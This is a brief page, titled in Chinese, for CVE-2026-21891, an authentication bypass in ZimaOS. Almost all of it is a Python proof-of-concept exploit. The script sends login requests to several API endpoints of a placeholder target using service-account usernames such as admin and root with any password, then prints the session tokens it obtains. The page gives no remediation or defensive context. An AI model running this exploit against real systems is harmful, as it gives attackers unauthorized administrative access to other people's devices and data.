CVE-2026-21891: ZimaOS 认证绕过漏洞（CVSS 9.4）

import requests import json # CVE-2026-21891 PoC - ZimaOS Authentication Bypass # Target: ZimaOS <= 1.5.0 TARGET_URL = "http://target-ip:3000" # Replace with actual target def exploit_auth_bypass(): """ Exploit authentication bypass in ZimaOS login function. The vulnerability allows bypass by using known service account usernames. """ endpoints = [ "/api/v1/user/login", "/api/v2/user/login", "/login" ] # Common service account usernames to try service_accounts = ["admin", "root", "system", "daemon", "service", "zima"] for endpoint in endpoints: for username in service_accounts: payload = { "username": username, "password": "any_password_here" # Any password works due to bug } try: response = requests.post( f"{TARGET_URL}{endpoint}", json=payload, timeout=10, verify=False ) # Check for successful authentication indicators if response.status_code == 200: data = response.json() if data.get("success") or data.get("token") or data.get("session"): print(f"[+] VULNERABLE! Auth bypassed with username: {username}") print(f"[+] Response: {json.dumps(data, indent=2)}") return True, username, data # Check for other success indicators if "token" in response.text.lower() or "session" in response.text.lower(): if response.status_code in [200, 201, 204]: print(f"[!] Potential auth bypass with username: {username}") except requests.exceptions.RequestException as e: print(f"[-] Error testing {username}@{endpoint}: {e}") return False, None, None if __name__ == "__main__": print("=" * 60) print("CVE-2026-21891 - ZimaOS Authentication Bypass PoC") print("=" * 60) vulnerable, user, resp = exploit_auth_bypass() if vulnerable: print(f"\n[SUCCESS] System is vulnerable!") print(f"Use username '{user}' with any password to authenticate")